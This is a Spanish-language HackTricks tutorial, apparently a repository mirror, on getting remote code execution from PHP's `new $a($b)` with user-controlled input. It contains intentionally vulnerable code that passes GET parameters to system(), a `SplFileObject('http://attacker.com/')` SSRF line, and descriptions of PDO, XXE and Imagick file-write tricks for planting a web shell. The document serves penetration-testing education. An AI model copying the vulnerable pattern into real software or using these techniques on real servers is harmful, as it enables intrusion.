mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-11 04:38:53 +00:00
152 lines
9.3 KiB
Markdown
152 lines
9.3 KiB
Markdown
|
# PHP - RCE abusando de la creación de objetos: new $\_GET\["a"]\($\_GET\["b"])
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
|
||
|
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
|
||
|
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
|
||
|
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
|
||
|
- **Comparte tus trucos de hacking enviando PR al [repositorio hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
## Introducción
|
||
|
|
||
|
En la situación en la que se puede crear un nuevo objeto arbitrario como `new $_GET["a"]($_GET["a"])`, es posible obtener RCE, y [**este artículo**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) expone diferentes formas de obtener RCE.
|
||
|
|
||
|
## RCE a través de clases personalizadas o autoloading
|
||
|
|
||
|
En la construcción `new $a($b)`, la **variable `$a` representa el nombre de la clase** para la que se creará el objeto, y la variable **`$b` representa el primer argumento** que se pasará al constructor del objeto.
|
||
|
|
||
|
Si `$a` y `$b` provienen de GET/POST, pueden ser **cadenas o matrices de cadenas**. Si provienen de **JSON** u otro lugar, **pueden tener otros tipos**, como objeto o booleano.
|
||
|
|
||
|
Consideremos el siguiente ejemplo:
|
||
|
```php
|
||
|
class App {
|
||
|
function __construct ($cmd) {
|
||
|
system($cmd);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
# Additionally, in PHP < 8.0 a constructor might be defined using the name of the class
|
||
|
class App2 {
|
||
|
function App2 ($cmd) {
|
||
|
system($cmd);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
# Vulnerable code
|
||
|
$a = $_GET['a'];
|
||
|
$b = $_GET['b'];
|
||
|
|
||
|
new $a($b);
|
||
|
```
|
||
|
En este código, puedes establecer `$a` en `App` o `App2` y `$b` en `uname -a`. Después de esto, se ejecutará el comando `uname -a`.
|
||
|
|
||
|
Cuando no hay clases explotables en tu aplicación, o tienes la clase necesaria en un archivo separado que no está incluido en el código vulnerable, puedes echar un vistazo a las funciones de carga automática.
|
||
|
|
||
|
Las **funciones de carga automática** se establecen registrando devoluciones de llamada a través de `spl_autoload_register` o definiendo `__autoload`. Se llaman cuando se intenta crear una instancia de una clase desconocida.
|
||
|
```php
|
||
|
# An example of an autoloading function
|
||
|
spl_autoload_register(function ($class_name) {
|
||
|
include './../classes/' . $class_name . '.php';
|
||
|
});
|
||
|
|
||
|
# An example of an autoloading function, works only in PHP < 8.0
|
||
|
function __autoload($class_name) {
|
||
|
include $class_name . '.php';
|
||
|
};
|
||
|
|
||
|
# Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path
|
||
|
spl_autoload_register();
|
||
|
```
|
||
|
Dependiendo de la versión de PHP y el código en las funciones de carga automática, pueden existir algunas formas de obtener una Ejecución Remota de Código a través de la carga automática.
|
||
|
|
||
|
## RCE a través de Clases Integradas
|
||
|
|
||
|
Cuando no se tienen clases personalizadas y carga automática, se puede depender solo de **clases integradas de PHP**.
|
||
|
|
||
|
Existen de 100 a 200 clases integradas de PHP. El número de ellas depende de la versión de PHP y las extensiones instaladas. Todas las clases integradas se pueden listar a través de la función `get_declared_classes`, junto con las clases personalizadas:
|
||
|
```php
|
||
|
var_dump(get_declared_classes());
|
||
|
```
|
||
|
Las clases con constructores útiles se pueden encontrar a través de [la API de reflexión](https://www.php.net/manual/en/book.reflection.php).
|
||
|
|
||
|
Para mostrar los constructores y sus parámetros usando la API de reflexión: [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)\
|
||
|
|
||
|
|
||
|
![](https://swarm.ptsecurity.com/wp-content/uploads/2022/07/2.png)
|
||
|
|
||
|
Si controlas **múltiples parámetros del constructor y puedes llamar a métodos arbitrarios** después, hay muchas formas de obtener una Ejecución de Código Remoto. Pero si solo puedes pasar **un parámetro y no tienes ninguna llamada** al objeto creado, hay **casi nada**.
|
||
|
|
||
|
Conozco solo tres formas de obtener algo de `new $a($b)`.
|
||
|
|
||
|
### **SSRF + deserialización de Phar**
|
||
|
|
||
|
La clase `SplFileObject` implementa un constructor que permite la conexión a cualquier URL local o remota:
|
||
|
```
|
||
|
new SplFileObject('http://attacker.com/');
|
||
|
```
|
||
|
Esto permite SSRF. Además, las SSRF en PHP < 8.0 podrían convertirse en deserializaciones mediante técnicas con el protocolo Phar.
|
||
|
|
||
|
### **Explotando PDOs**
|
||
|
|
||
|
La clase PDO tiene otro constructor interesante:
|
||
|
```php
|
||
|
new PDO("sqlite:/tmp/test.txt")
|
||
|
```
|
||
|
El constructor de `PDO` acepta cadenas DSN, lo que nos permite **conectarnos a cualquier base de datos local o remota** utilizando las **extensiones de base de datos instaladas**. Por ejemplo, la extensión SQLite puede crear archivos vacíos.
|
||
|
|
||
|
### **SoapClient/SimpleXMLElement XXE**
|
||
|
|
||
|
En PHP ≤ 5.3.22 y ≤ 5.4.12, el constructor de SoapClient era **vulnerable a XXE**. El constructor de SimpleXMLElement también era vulnerable a XXE, pero requería libxml2 < 2.9.
|
||
|
|
||
|
## RCE a través de la extensión Imagick
|
||
|
|
||
|
Al verificar las **dependencias** del **proyecto** que intenta explotar, puede encontrar **nuevas clases** que se pueden **abusar para ejecutar comandos** creando un nuevo objeto. En este caso, se descubrió que **Imagick** era útil para ese propósito.
|
||
|
|
||
|
### Analizador VID
|
||
|
|
||
|
El analizador VID permite escribir contenido arbitrario en una ruta arbitraria dentro del sistema de archivos, lo que permitiría a un atacante escribir un PHPshell en una carpeta accesible desde la página web y obtener RCE.
|
||
|
|
||
|
![](<../../../.gitbook/assets/image (157) (3).png>)
|
||
|
|
||
|
#### Analizador VID + Carga de archivos
|
||
|
|
||
|
Cuando se carga un archivo en PHP, se almacena temporalmente en `/tmp/phpXXXXXX`. El analizador VID de Imagick con el protocolo **msl** permite **especificar comodines en las rutas de archivo** (para que el archivo cargado temporalmente se pueda acceder fácilmente) y **copiarlo a cualquier ubicación arbitraria**.\
|
||
|
Esta es otra forma de obtener escritura de archivos arbitraria dentro del sistema de archivos:
|
||
|
|
||
|
![](<../../../.gitbook/assets/image (159).png>)
|
||
|
|
||
|
### PHP Crash + Fuerza Bruta
|
||
|
|
||
|
El [**informe original**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) explicaba otra forma de obtener RCE mediante **la carga de archivos con contenido específico** y haciendo que el **servidor se bloquee antes de eliminar** ese archivo y luego **realizando un ataque de fuerza bruta al nombre** del archivo temporal hasta que **Imagick ejecute código PHP arbitrario**.
|
||
|
|
||
|
Sin embargo, aparentemente el **truco de bloqueo** descubierto solo **funcionó en una versión antigua de ImageMagick**.
|
||
|
|
||
|
## Referencias
|
||
|
|
||
|
* [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
|
||
|
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
|
||
|
- Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
|
|
||
|
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
|
||
|
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|